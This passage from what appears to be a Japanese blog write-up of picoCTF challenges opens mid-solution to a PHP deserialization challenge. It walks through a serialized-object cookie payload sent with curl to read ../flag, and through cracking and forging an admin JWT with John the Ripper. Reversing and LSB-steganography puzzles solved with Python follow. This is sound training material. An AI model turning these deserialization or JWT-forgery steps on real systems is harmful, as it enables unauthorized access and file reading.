この挙動を利用すれば__toString()メソッドで../flagの中身を読み出して、die()で表示できそうである。

以下の流れでフラグを読み取ることができると思われる。

  1. 引数に../flagと指定してaccess_logクラスのオブジェクトを生成する。
  2. 生成したオブジェクトをシリアライズしてloginクッキーにセットし、サーバーへリクエストを送る。
  3. すると、アプリケーション内部で__toString()メソッドが呼び出されて../flagの中身が読み出され、die()によってファイルの内容が表示される。。はず

以下のPHPスクリプトを作成して、攻撃のためのペイロードを生成した。

<?php
class access_log
{
        public $log_file;

        function __construct($lf) {
                $this->log_file = $lf;
        }

        function __toString() {
                return $this->read_log();
        }

        function append_to_log($data) {
                file_put_contents($this->log_file, $data, FILE_APPEND);
        }

        function read_log() {
                return file_get_contents($this->log_file);
        }
}

$flag = new access_log('../flag');
$mycookie = urlencode(base64_encode(serialize($flag)));
print($mycookie);

?>

上記のスクリプトを実行したところ、TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9という値が生成された。(ちなみにこの値をデコードするとO:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}となる)

$ php exploit.php 
TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
$ echo -n TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9 | base64 -d
O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}

生成された値をloginクッキーにセットしてauthentication.phpへリクエストを送ったところ、フラグを取れた。

$ curl -i http://mercury.picoctf.net:2148/authentication.php -H "Cookie: login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9"
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=j5ipbaj7p7fjj2t2c9potsc9ge; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8

Deserialization error. picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_<REDACTED>}

JaWT Scratchpad (400points)

Webサイトhttp://jupiter.challenges.picoctf.org:63090 (またはhttps://jupiter.challenges.picoctf.org/problem/63090/)にadminとしてアクセスしてフラグを取得する問題。

以下はサイトのソースコードである。

<!doctype html>
<html>

	<title> JaWT - an online scratchpad </title>
	<link rel="stylesheet" href="/static/css/stylesheet.css">
	<body>
		<header><h1>JaWT</h1> <br> <i><small>powered by <a href="https://jwt.io/">JWT</a></small></i></header>
		
		<div id="main">
		
			<article>
				<h1>Welcome to JaWT!</h1>

				<p>
					JaWT is an online scratchpad, where you can "jot" down whatever you'd like! Consider it a notebook for your thoughts. <b style="color:blue "> JaWT works best in Google Chrome for some reason. </b>
				</p>
				
				
				
					<p>
						You will need to log in to access the JaWT scratchpad. You can use any name, other than <code>admin</code>... because the <code>admin</code> user gets a special scratchpad!
					</p>
					<br>
					<form action="#" method="POST">
						<input type="text" name="user" id="name">
					</form>
					<br>

				

				<h2> Register with your name! </h2>

				<p>
					You can use your name as a log in, because that's quick and easy to remember! If you don't like your name, use a short and cool one like <a href="https://github.com/magnumripper/JohnTheRipper">John</a>!
				</p>

			</article>
			<nav></nav>
			<aside></aside>
				
		</div>
		<script> window.onload = function() { document.getElementById("name").focus(); }; </script>
	</body> 
</html>

ページ内にJWT(JSON web tokens)John The Ripperへの意味深なリンクが貼られていた。

試しにサイトの入力フォームにadminと入力して送信したところ、YOU CANNOT LOGIN AS THE ADMIN! HE IS SPECIAL AND YOU ARE NOT.というエラーメッセージが表示された。

入力フォームに適当なユーザー名を指定してサーバーの応答を観察してみた。

$ curl -i https://jupiter.challenges.picoctf.org/problem/63090/ -d "user=hoge"
HTTP/1.1 302 FOUND
Server: nginx
Date: Fri, 01 Sep 2023 13:47:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 209
Connection: keep-alive
Location: https://jupiter.challenges.picoctf.org/
Set-Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiaG9nZSJ9.jPeEFVGfU1aydlbHnfLgUuLEH_2pydCpAQfUdL-SeA8; Path=/
Strict-Transport-Security: max-age=0

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/">/</a>.  If not click the link.

Set-CookieヘッダーにBase64エンコードされた認証用のトークンが含まれていたので、デコードしてみた。

$ echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d
{"typ":"JWT","alg":"HS256"}
$ echo eyJ1c2VyIjoiaG9nZSJ9 | base64 -d
{"user":"hoge"}

どうやらJWT(JSON web tokens)を利用している模様。

JWTの構成は以下の通り。

[ヘッダー].[ペイロード].[署名]

上の例だと、eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9{"typ":"JWT","alg":"HS256"})がヘッダー、eyJ1c2VyIjoiaG9nZSJ9{"user":"hoge"})がペイロード、jPeEFVGfU1aydlbHnfLgUuLEH_2pydCpAQfUdL-SeA8が署名に該当する。

以前の問題のようにuserパラメータをadminに変更し、algパラメータにnoneと指定してトークンを生成し、jwtクッキーにセットしてリクエストを送ってみたが500 INTERNAL SERVER ERRORが返ってきた。

先述したようにサイトにはJohn The Ripperへの意味深なリンクが貼られていた。

You can use your name as a log in, because that's quick and easy to remember! If you don't like your name, use a short and cool one like <a href="https://github.com/magnumripper/JohnTheRipper">John</a>!

恐らくJohn The Ripperを使ってJWTの署名に使用された鍵を特定しろということだと思われる。

John The Ripperをインストールして鍵をクラックすることにした。

最初、sudo apt-get install johnでインストールしたのだが、パッケージ版のJohn The RipperはSHA256アルゴリズムをサポートしていないようだった。

結局、GitHubのレポジトリをクローンしてソースからインストールすることにした。

インストールガイドに従い、以下のコマンドでインストールした。

sudo apt-get -y install yasm pkg-config libgmp-dev libpcap-dev libbz2-dev

sudo apt-get -y install yasm pkg-config libgmp-dev libpcap-dev libbz2-dev

git clone https://github.com/openwall/john

cd john/src

./configure && make -s clean && make -sj4

続いて、辞書攻撃で定番のrockyou.txtをネットから適当に拾ってきた。

クラック対象のJWTトークンをcookie.txtに保存。

$ cat cookie.txt
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiaG9nZSJ9.jPeEFVGfU1aydlbHnfLgUuLEH_2pydCpAQfUdL-SeA8

以下のコマンドでJWTトークンの署名鍵をクラックした。

cd john/run

./john /path/to/cookie.txt --wordlist=/path/to/rockyou.txt --format=HMAC-SHA256

署名鍵はilovepicoと判明した。

$ ./john /path/to/cookie.txt --wordlist=/path/to/rockyou.txt --format=HMAC-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
ilovepico        (?)
1g 0:00:00:01 DONE (2023-09-02 11:50) 0g/s 4091Kp/s 4091Kc/s 4091KC/s inZtinX..ilovejesus71
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

CyberChefのJWT Sign を利用して以下のペイロードを署名した。(Signing algorithmにHS256、Private/Secret keyにilovepicoと指定)

{"user":"admin"}

以下が生成されたトークンである。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2OTM1Nzk0NTR9.TVr9EudCLBuewjQD0spuuuB-rCkCBVcJMr8x4M1pQ30

上記のトークンをjwtクッキーにセットしてリクエストを送ったところ、フラグを取れた。

$ curl -i http://jupiter.challenges.picoctf.org:63090/ -H "Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2OTM1Nzk0NTR9.TVr9EudCLBuewjQD0spuuuB-rCkCBVcJMr8x4M1pQ30"
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 1291

<!doctype html>
<html>

        <title> JaWT - an online scratchpad </title>
        <link rel="stylesheet" href="/static/css/stylesheet.css">
        <body>
                <header><h1>JaWT</h1> <br> <i><small>powered by <a href="https://jwt.io/">JWT</a></small></i></header>

                <div id="main">

                        <article>
                                <h1>Welcome to JaWT!</h1>

                                <p>
                                        JaWT is an online scratchpad, where you can "jot" down whatever you'd like! Consider it a notebook for your thoughts. <b style="color:blue "> JaWT works best in Google Chrome for some reason. </b>
                                </p>



                                        <h2> Hello admin!</h2>
                                        <p>
                                                Here is your JaWT scratchpad!
                                        </p>
                                        <textarea style="margin: 0 auto; display: block;">picoCTF{jawt_was_just_what_you_thought_<REDACTED>}</textarea>
                                        <br>

                                                <a href="/logout"><input style="width:100px" type="submit" value="Logout"></a>



                                <h2> Register with your name! </h2>

                                <p>
                                        You can use your name as a log in, because that's quick and easy to remember! If you don't like your name, use a short and cool one like <a href="https://github.com/magnumripper/JohnTheRipper">John</a>!
                                </p>

                        </article>
                        <nav></nav>
                        <aside></aside>

                </div>
                <script> window.onload = function() { document.getElementById("name").focus(); }; </script>
        </body>
</html>

1_wanna_b3_a_r0ck5tar (350points)

Rockstar言語で書かれたlyrics.txtを解析してフラグを取得する問題。

以下はlyrics.txtの内容。

Rocknroll is right              
Silence is wrong                
A guitar is a six-string        
Tommy's been down               
Music is a billboard-burning razzmatazz!
Listen to the music             
If the music is a guitar                  
Say "Keep on rocking!"                
Listen to the rhythm
If the rhythm without Music is nothing
Tommy is rockin guitar
Shout Tommy!                    
Music is amazing sensation 
Jamming is awesome presence
Scream Music!                   
Scream Jamming!                 
Tommy is playing rock           
Scream Tommy!       
They are dazzled audiences                  
Shout it!
Rock is electric heaven                     
Scream it!
Tommy is jukebox god            
Say it!                                     
Break it down
Shout "Bring on the rock!"
Else Whisper "That ain't it, Chief"                 
Break it down 

問題文にRockstarのオンラインデコーダーへのWayback Machineのリンクが貼られていたが、動作しなかったのでrockstar-pyをインストールした。

python3 -m venv my_venv
source my_venv/bin/activate
pip install rockstar-py

以下のコマンドでlyrics.txtをデコードして、結果をdecoded.txtに保存した。

rockstar-py -i lyrics.txt -o decoded.txt

以下はdecoded.txtの内容。

Rocknroll = True
Silence = False
a_guitar = 10
Tommy = 44
Music = 170
the_music = input()
if the_music == a_guitar:
    print("Keep on rocking!")
    the_rhythm = input()
    if the_rhythm - Music == False:
        Tommy = 66
        print(Tommy!)
        Music = 79
        Jamming = 78
        print(Music!)
        print(Jamming!)
        Tommy = 74
        print(Tommy!)
        They are dazzled audiences
        print(it!)
        Rock = 86
        print(it!)
        Tommy = 73
        print(it!)
        break
        print("Bring on the rock!")
        Else print("That ain't it, Chief")
        break

前回の問題と同様、10進数をasciiコードにデコードしたところ、BONJVIという文字列が現れた。

>>> chr(66) + chr(79) + chr(78) + chr(74) + chr(86) + chr(73)
'BONJVI'

しかし、BONJVIは正しいフラグではなかった。

BONJVIって、もしかしてBon Joviのこと?と思いつき、BONJVIBONJOVIに直したところ、無事フラグを送信できた。

Investigative Reversing 0 (300points)

64ビット ELFファイルmysteryとPNG画像ファイルmystery.pngを解析してフラグを取得する問題。

mystery.pngを調べてみると、ファイルの末尾にフラグらしき文字列を発見した。

$ xxd mystery.png | tail
0001e7f0: 8220 0882 2008 8220 0882 2064 1f32 1221  . .. .. .. d.2.!
0001e800: 0882 2008 8220 0882 2008 42f6 2123 1182  .. .. .. .B.!#..
0001e810: 2008 8220 0882 2008 8220 641f 3212 2108   .. .. .. d.2.!.
0001e820: 8220 0882 2008 8220 0842 f621 2311 8220  . .. .. .B.!#..
0001e830: 0882 2008 8220 0882 2064 1f32 1221 0882  .. .. .. d.2.!..
0001e840: 2008 8220 0882 2008 42f6 2123 1182 2008   .. .. .B.!#.. .
0001e850: 8220 0882 2008 8220 6417 ffef fffd 7f5e  . .. .. d......^
0001e860: ed5a 9d38 d01f 5600 0000 0049 454e 44ae  .Z.8..V....IEND.
0001e870: 4260 8270 6963 6f43 544b 806b 357a 7369  B`.picoCTK.k5zsi
0001e880: 6436 715f 6662 3531 6338 3231 7d         d6q_fb51c821}

続いてmysteryをIDAで眺めたところ、このファイルはflag.txtからフラグを読み込んでmystery.pngに書き込むことが判明した。

ただし、フラグはそのまま書き込まれるのではなく、以下の処理が施された上でmystery.pngに書き込まれる。

  • フラグの(0から数えて)6から14バイトまでの値に対してはadd 5 (5を加算)する。
  • フラグの(0から数えて)15バイト目の値に対してはsub 3 (3を減算)する。

以下は該当箇所のコードである。

よってフラグを復元するには以下の処理を施せば良い。

  • フラグの(0から数えて)6から14バイトまでの値に対してはsub 5 (5を減算)する。
  • フラグの(0から数えて)15バイト目の値に対してはadd 3 (3を加算)する。

以下のPythonスクリプトを書いてフラグを取得した。

import binascii

mangled_flag = '7069636f43544b806b357a73696436715f66623531633832317d'
mangled_flag = bytearray(binascii.unhexlify(mangled_flag))
decrypted_flag = bytearray(len(mangled_flag))

for i in range(0, len(mangled_flag)):
    if (6 <= i <= 14):
        decrypted_flag[i] = mangled_flag[i] - 5
    elif (14 < i <= 15):
        decrypted_flag[i] = mangled_flag[i] + 3
    else:
        decrypted_flag[i] = mangled_flag[i]
    
print(decrypted_flag)
$ python3 decryptor.py
bytearray(b'picoCTF{f0und_1t_<REDACTED>}')

Investigative Reversing 1 (350points)

64ビット ELFファイルmysteryとPNG画像ファイルmystery.pngmystery2.pngmystery3.pngを解析してフラグを取得する問題。

3つのPNG画像ファイルを調べたところ、それぞれのファイルの末尾にフラグらしきデータを発見した。

$ xxd mystery.png | tail
0001e7f0: 8220 0882 2008 8220 0882 2064 1f32 1221  . .. .. .. d.2.!
0001e800: 0882 2008 8220 0882 2008 42f6 2123 1182  .. .. .. .B.!#..
0001e810: 2008 8220 0882 2008 8220 641f 3212 2108   .. .. .. d.2.!.
0001e820: 8220 0882 2008 8220 0842 f621 2311 8220  . .. .. .B.!#..
0001e830: 0882 2008 8220 0882 2064 1f32 1221 0882  .. .. .. d.2.!..
0001e840: 2008 8220 0882 2008 42f6 2123 1182 2008   .. .. .B.!#.. .
0001e850: 8220 0882 2008 8220 6417 ffef fffd 7f5e  . .. .. d......^
0001e860: ed5a 9d38 d01f 5600 0000 0049 454e 44ae  .Z.8..V....IEND.
0001e870: 4260 8243 467b 416e 315f 3961 3437 3134  B`.CF{An1_9a4714
0001e880: 317d 60                                  1}`
$ xxd mystery2.png | tail
0001e7e0: 2108 8220 0882 2008 8220 0842 f621 2311  !.. .. .. .B.!#.
0001e7f0: 8220 0882 2008 8220 0882 2064 1f32 1221  . .. .. .. d.2.!
0001e800: 0882 2008 8220 0882 2008 42f6 2123 1182  .. .. .. .B.!#..
0001e810: 2008 8220 0882 2008 8220 641f 3212 2108   .. .. .. d.2.!.
0001e820: 8220 0882 2008 8220 0842 f621 2311 8220  . .. .. .B.!#..
0001e830: 0882 2008 8220 0882 2064 1f32 1221 0882  .. .. .. d.2.!..
0001e840: 2008 8220 0882 2008 42f6 2123 1182 2008   .. .. .B.!#.. .
0001e850: 8220 0882 2008 8220 6417 ffef fffd 7f5e  . .. .. d......^
0001e860: ed5a 9d38 d01f 5600 0000 0049 454e 44ae  .Z.8..V....IEND.
0001e870: 4260 8285 73                             B`..s
$ xxd mystery3.png | tail
0001e7e0: 2108 8220 0882 2008 8220 0842 f621 2311  !.. .. .. .B.!#.
0001e7f0: 8220 0882 2008 8220 0882 2064 1f32 1221  . .. .. .. d.2.!
0001e800: 0882 2008 8220 0882 2008 42f6 2123 1182  .. .. .. .B.!#..
0001e810: 2008 8220 0882 2008 8220 641f 3212 2108   .. .. .. d.2.!.
0001e820: 8220 0882 2008 8220 0842 f621 2311 8220  . .. .. .B.!#..
0001e830: 0882 2008 8220 0882 2064 1f32 1221 0882  .. .. .. d.2.!..
0001e840: 2008 8220 0882 2008 42f6 2123 1182 2008   .. .. .B.!#.. .
0001e850: 8220 0882 2008 8220 6417 ffef fffd 7f5e  . .. .. d......^
0001e860: ed5a 9d38 d01f 5600 0000 0049 454e 44ae  .Z.8..V....IEND.
0001e870: 4260 8269 6354 3074 6861 5f              B`.icT0tha_

続いてmysteryをIDAで眺めたところ、このファイルはflag.txtからフラグを読み込み、フラグの順番を入れ替えた上でmystery.pngmystery2.pngmystery3.pngに分割して書き込むことが判明した。

上記のコードによると

  • フラグのオフセット 4 の値がmystery.pngに書き込まれる。
  • フラグのオフセット 1の値がmystery2.pngに書き込まれる。
  • フラグのオフセット 0、2、3、の値がmystery3.pngに書き込まれる。

ほかにもadd eax, 7mov [rbp+var_63], 2Ahshr dl, 7sar al, 1などの気になる処理があったが、よく分からなかったのでスルー。

上記のコードによると

  • フラグのオフセット 6 ~ 9の値がmystery.pngに書き込まれる。
  • フラグのオフセット 10の値がmystery2.pngに書き込まれる。

途中で挟まっているadd eax 1が何のための処理なのか分からなかった。。。

上記のコードによると

  • フラグのオフセット 10 ~ 14の値がmystery3.pngに書き込まれる。

上記のコードによると

  • フラグのオフセット 15 ~ 25の値がmystery.pngに書き込まれる。

上記のフラグの書き込み順に従って、各PNGファイルのフラグの値に本来のオフセットを割り当ててみた。

mystery.png

フラグの値 (16進数)43467b416e315f396134373134317d60
本来のオフセット467891516171819202122232425

mystery2.png

フラグの値 (16進数)8573
本来のオフセット110

mystery3.png

フラグの値 (16進数)696354307468615f
本来のオフセット0231011121314

上記の対応表に従って、フラグを本来の順番に並べ替えてみた。

69 85 63 54 43 ** 46 7b 41 6e 30 74 68 61 5f 31 5f 39 61 34 37 31 34 31 7d 60

並べ替えてから気づいたのだが、オフセット5の値が抜けている。。。
単に自分が見落としているだけだと思うが (冒頭でスルーした処理が関係している?)、とりあえず上記のフラグをHexデコードしてみた。(オフセット5には、とりあえず00と入れた。)

$ echo '69 85 63 54 43 00 46 7b 41 6e 30 74 68 61 5f 31 5f 39 61 34 37 31 34 31 7d 60' | xxd -r -p
i�cTCF{An0tha_1_9a47141}`

冒頭数バイトがデコードされなかった。。

が、デコードされなかった部分をpicoCTFに直したところ、フラグが通った。

復号処理を完璧に解読できたわけではないが、とりあえず解けたので、まあ良し。

Investigative Reversing 2 (350points)

64ビット ELFファイルmysteryとビットマップ画像ファイルencoded.bmpを解析してフラグを取得する問題。

mysteryを軽く調べてみたところ、このファイルはoriginal.bmpというビットマップ画像ファイルの内容をencoded.bmpというファイルに書き込み、flag.txtから読み込んだフラグをencoded.bmpに埋め込むことが判明した。

もう少し詳しく解析してみた。

まず、mysteryoriginal.bmpの内容をencoded.bmpに書き込む。先頭1999バイトまでの内容がencoded.bmpに書き込まれたら、flag.txtからフラグを読み込んで、先頭2000バイト以降にフラグを書き込んでいく。しかし、フラグをそのまま書き込んでいくわけではなく、以下に示すようにcodedCharという関数でフラグをこねくり回した上でencoded.bmpに書き込む。

しかし、このcodedCharがどういう処理をしているのかイマイチ分からなかったため、ヒントを見てた。

以下、ヒント。

Try using some forensics skills on the image

This problem requires both forensics and reversing skills

What is LSB encoding?

どうやらcodedCharLSBエンコーディングをするための関数らしい。

エンコーディング処理の詳細を知るためにダミーのflag.txtoriginal.bmpおよびencoded.bmp (空ファイル)を用意して動的解析してみた。(ちなみにmysteryはPIEが有効化されている。PIEが有効化されているELFファイルをデバッグする方法については、こちらの記事を参照。)

結果、以下のことが判明した。

  1. flag.txtからフラグを1バイト読み込む。
  2. 読み込んだフラグから5を減算し、(sub 5) codedCharに渡す。
  3. codedCharは戻り値として下位1ビットを返す。
  4. 返されたビットをencoded.bmpの最下位ビットに書き込む。
  5. 8ビットすべてがencoded.bmpに書き込まれたら、flag.txtから次の1バイトを読み込んで、同様の処理を行う。

上記の処理をもう少し具体的に解説してみる。

  1. flag.txtからフラグを1バイト読み込む。この時、pという文字が読み込まれたとする。pを2進数で表すと01110000、10進数で表すと112となる。
  2. pから5が減算される。するとpkに変化する。kを2進数で表すと01101011、10進数で表すと107となる。
  3. codedCharは戻り値としてkの下位1ビットを返す。
  4. 返されたビットをencoded.bmpの最下位ビットに書き込む。
  5. k (01101011) の8ビットすべてがencoded.bmpに書き込まれたら、flag.txtから次の1バイトを読み込んで、同様の処理を行う。

以上を踏まえたうえで、改めてencoded.bmpの2000バイト以降のデータを眺めてみた。

それぞれの最下位ビットに印をつけてみた。

印をつけたビットを繋げると01101011となる。(11010110ではない点に注意。codedCharはフラグ文字の上位ビットからではなく、下位ビットから書き込んでいくため)

01101011をascii文字に直すとkとなる。

>>> chr(int('01101011', 2))
'k'

さらにkに5を加算すると元のフラグ文字のpが現れる。

>>> chr(int('01101011', 2) + 5)
'p'

よって、以下の手順でencoded.bmpからフラグを復元することができる。

  1. encoded.bmpの2000バイト以降からLSBを8ビットずつ集めて、バイト・データに変換する。
  2. バイト・データに5を加算する。
  3. バイト・データをascii文字に変換する。

以下のスクリプトを作成してフラグを取得した。

'''
script inspired from https://wiki.bi0s.in/forensics/lsb/
'''

with open("encoded.bmp", "rb") as f:
    f.seek(2000) # skip to offset 2000 which is the beginning of the flag
    file_data = f.read()
    lsb_list = []
    
    for i in file_data:
        lsb_list.append(bin(i)[-1]) # creates a list of lsb
        

for i in range(0,500,8):
    #print(lsb_list[i:i+8])
    #print(lsb_list[i:i+8][::-1])
    '''
    1. grab 8 bits from the list
    2. reverse the bits ([::-1])
    3. add 5 and convert it to ascii
    '''
    print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2) + 5), end='')
$ python3 flag-extractor.py
picoCTF{n3xt_0n30000000000000000000000000<REDACTED>}

Investigative Reversing 3 (400points)

64ビット ELFファイルmysteryとビットマップ画像ファイルencoded.bmpを解析してフラグを取得する問題。

mysteryを調べたところ、このファイルはoriginal.bmpの内容をencoded.bmpに書き込み、encoded.bmpのオフセット723以降にflag.txtから読み込まれたフラグを書き込んでいくことが判明した。

さらに解析を続けたところ、Investigative Reversing 2の時と同様にcodedCharという関数を発見した。

よって、今回もLSBエンコーディングを使用してencoded.bmpにフラグを隠している可能性が高い。

引き続きIDAで解析を続けたところ、以下の気になる分岐命令を発見した。

上記のコードは[rpb+flag_offset]に格納されている値が偶数の場合は、先述したcodedCharに遷移してフラグ文字にLSBエンコーディングを施し、奇数の場合は下記の命令コードにジャンプしてoriginal.bmpから値を1バイト読み込んで、encoded.bmpにそのまま書き込む。

これはどういうことかと言うと、フラグを8ビット、encoded.bmpの最下位ビットに書き込んだら、1バイト 間を置いて、次のフラグ8ビットをencoded.bmpの最下位ビットに書き込んでいくということである。

分かりやすいようにencoded.bmpのオフセット723以降の最下位ビットに印をつけてみた。

赤で印をつけたビットを8ビットずつ繋げていくと、以下のようにフラグが現れた。

>>> chr(int('01110000', 2))
'p'
>>> chr(int('01101001', 2))
'i'
>>> chr(int('01100011', 2))
'c'
>>> chr(int('01101111', 2))
'o'
>>> chr(int('01000011', 2))
'C'

※ビットを繋げる際は、先頭のビットからではなく後ろのビットから繋げていく点に注意。codedCharはフラグ文字の上位ビットからではなく、下位ビットから書き込んでいくため。なので、例えば最初の8ビットを繋げると、00001110ではなく01110000となる。

以下のスクリプトを作成してフラグを取得した。

'''
script inspired from https://wiki.bi0s.in/forensics/lsb/
'''

with open("encoded.bmp", "rb") as f:
    f.seek(723) # skip to offset 723 which is the beginning of the flag
    file_data = f.read()
    lsb_list = []

    c = 0
    
    for i in file_data:
        if (c == 0):
            lsb_list.append(bin(file_data[c])[-1]) # creates a list of lsb
        elif ((c+1) % 9 != 0):                     # if appended 8 bit, ignore 1 byte and move on to next 8 bit
            lsb_list.append(bin(file_data[c])[-1]) # creates a list of lsb
        c += 1

for i in range(0,500,8):
    #print(lsb_list[i:i+8][::-1])
    print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2)), end='')

$ python3 flag-extractor02.py
picoCTF{4n0th3r_L5b_pr0bl3m_0000000000000<REDACTED>}

Investigative Reversing 4 (400points)

64ビット ELFファイルmysteryとビットマップ画像ファイルItem01_cp.bmpItem02_cp.bmpItem03_cp.bmpItem04_cp.bmpItem05_cp.bmpを解析してフラグを取得する問題。

手始めにltraceでmysteryを軽くデバッグしてみた。

$ ltrace ./mystery
fopen("flag.txt", "r")                                                                                                         = 0
puts("No flag found, please make sure "...No flag found, please make sure this is run on the server
)                                                                                    = 58
fread(0x7fffffffde90, 50, 1, 0 <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

flag.txtが無いと怒られた。

どうやらmysteryflag.txtからフラグを50バイト読み込む模様。以下は該当のコード。

ダミーのflag.txtを置いて再度ltraceを実行してみた。

$ ltrace ./mystery 
fopen("flag.txt", "r")                                                                                                         = 0x555555757010
fread(0x7fffffffde90, 50, 1, 0x555555757010)                                                                                   = 1
fclose(0x555555757010)                                                                                                         = 0
fopen("Item05.bmp", "r")                                                                                                       = 0
fopen("Item05_cp.bmp", "a")                                                                                                    = 0x555555757010
puts("No output found, please run this"...No output found, please run this on the server
)                                                                                    = 47
exit(0 <no return ...>
+++ exited (status 0) +++

Item05.bmpItem05_cp.bmpというファイルを開こうとしているのが分かる。ディレクトリを確認するとItem05_cp.bmpという空ファイルが作成されていた。

どうやらmysteryItem01.bmpItem02.bmpItem03.bmpItem04.bmpItem05.bmpの内容をItem01_cp.bmpItem02_cp.bmpItem03_cp.bmpItem04_cp.bmpItem05_cp.bmpに書き込み、flag.txtの内容を5つの_cp.bmpに分割して書き込むようである。

またフラグはItem05_cp.bmpItem04_cp.bmpItem03_cp.bmpItem02_cp.bmpItem01_cp.bmpの順番で書き込まれる。

mysteryをIDAで眺めたところ、encodeAllという関数を発見した。

encodeAllを調べてみると、encodeDataInFileという関数が呼び出されていた。

encodeDataInFile_cp.bmpのオフセット2019以降にフラグを書き込んでいく。

また、encodeDataInFileの中ではInvestigative Reversing 2Investigative Reversing 3の時と同様にcodedCharという関数が呼び出されていた。

よって、今回もLSBエンコーディングを使用してフラグを隠している可能性が高い。

引き続きIDAで解析を続けたところ、以下の気になる命令を発見した。

このアセンブリ命令だけではチンプンカンプンだったので、Ghidraでコードをデコンパイルしてみた。

どうやらmysteryは、フラグを8ビット _cp.bmpの最下位ビットに書き込んだら、4バイト 間を置いて、次のフラグ8ビットを_cp.bmpの最下位ビットに書き込んでいくようである。

分かりやすいようにItem05_cp.bmpのオフセット2019以降の最下位ビットに印をつけてみた。

赤で印をつけたビットを8ビットずつ繋げていくと、以下のようにフラグが現れた。

>>> chr(int('01110000', 2))
'p'
>>> chr(int('01101001', 2))
'i'
>>> chr(int('01100011', 2))
'c'
>>> chr(int('01101111', 2))
'o'

※ビットを繋げる際は、先頭のビットからではなく後ろのビットから繋げていく点に注意。codedCharはフラグ文字の上位ビットからではなく、下位ビットから書き込んでいくため。なので、例えば最初の8ビットを繋げると、00001110ではなく01110000となる。

以下のスクリプトを作成してフラグを取得した。

'''
script inspired from https://wiki.bi0s.in/forensics/lsb/
'''

## extract flag from Item05_cp.bmp

with open("Item05_cp.bmp", "rb") as f:
    f.seek(2019) # skip to offset 2019 which is the beginning of the flag
    file_data = f.read()
    lsb_list = []
    

    c = 0
    for i in range(0, 100):
        if (len(lsb_list) != 0 and len(lsb_list) % 8 == 0): # if appended 8 bit, skip next 4 bytes and move on to next 8 bit
            c += 5
            lsb_list.append(bin(file_data[c-1])[-1])
        else:
            lsb_list.append(bin(file_data[c])[-1])
            c += 1


for i in range(0,100,8):
    print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2)), end='')
    
## extract flag from Item04_cp.bmp
    
with open("Item04_cp.bmp", "rb") as f:
    f.seek(2019)
    file_data = f.read()
    lsb_list = []
    

    c = 0
    for i in range(0, 100):
        if (len(lsb_list) != 0 and len(lsb_list) % 8 == 0):
            c += 5
            lsb_list.append(bin(file_data[c-1])[-1])
        else:
            lsb_list.append(bin(file_data[c])[-1])
            c += 1

for i in range(0,100,8):
    print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2)), end='')

## extract flag from Item03_cp.bmp

with open("Item03_cp.bmp", "rb") as f:
    f.seek(2019)
    file_data = f.read()
    lsb_list = []
    

    c = 0
    for i in range(0, 100):
        if (len(lsb_list) != 0 and len(lsb_list) % 8 == 0):
            c += 5
            lsb_list.append(bin(file_data[c-1])[-1])
        else:
            lsb_list.append(bin(file_data[c])[-1])
            c += 1

for i in range(0,100,8):
    print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2)), end='')
    

## extract flag from Item02_cp.bmp

with open("Item02_cp.bmp", "rb") as f:
    f.seek(2019)
    file_data = f.read()
    lsb_list = []
    

    c = 0
    for i in range(0, 100):
        if (len(lsb_list) != 0 and len(lsb_list) % 8 == 0):
            c += 5
            lsb_list.append(bin(file_data[c-1])[-1])
        else:
            lsb_list.append(bin(file_data[c])[-1])
            c += 1

for i in range(0,100,8):
    print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2)), end='')

## extract flag from Item01_cp.bmp

with open("Item01_cp.bmp", "rb") as f:
    f.seek(2019)
    file_data = f.read()
    lsb_list = []
    

    c = 0
    for i in range(0, 100):
        if (len(lsb_list) != 0 and len(lsb_list) % 8 == 0):
            c += 5
            lsb_list.append(bin(file_data[c-1])[-1])
        else:
            lsb_list.append(bin(file_data[c])[-1])
            c += 1

for i in range(0,100,8):
    print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2)), end='')
$ python3 flag-extractor03.py
picoCTF{N1c3_R3ver51ng_5k1115_00000000000<REDACTED>}

Leave a Reply

Your email address will not be published. Required fields are marked *